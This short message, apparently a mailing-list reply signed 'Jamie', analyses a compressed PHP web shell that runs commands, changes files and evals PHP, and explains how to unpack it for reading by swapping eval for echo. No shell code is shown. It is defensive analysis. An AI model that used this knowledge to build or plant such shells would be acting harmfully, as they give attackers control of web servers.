Looks like the usual sort of script to do things like execute
commands, upload/touch/delete files and eval() PHP. Only unusual in
that it's relatively clean and small.

I thought it was obfuscated at first glance, but it's just compressed
- only takes a couple of minutes to turn it into readable source.
(Just need to change ";eval($t) ?>" at the end to ";echo($t) ?>" and
run it from the CLI. Then add line breaks and formatting as required.)

cheers,
 Jamie
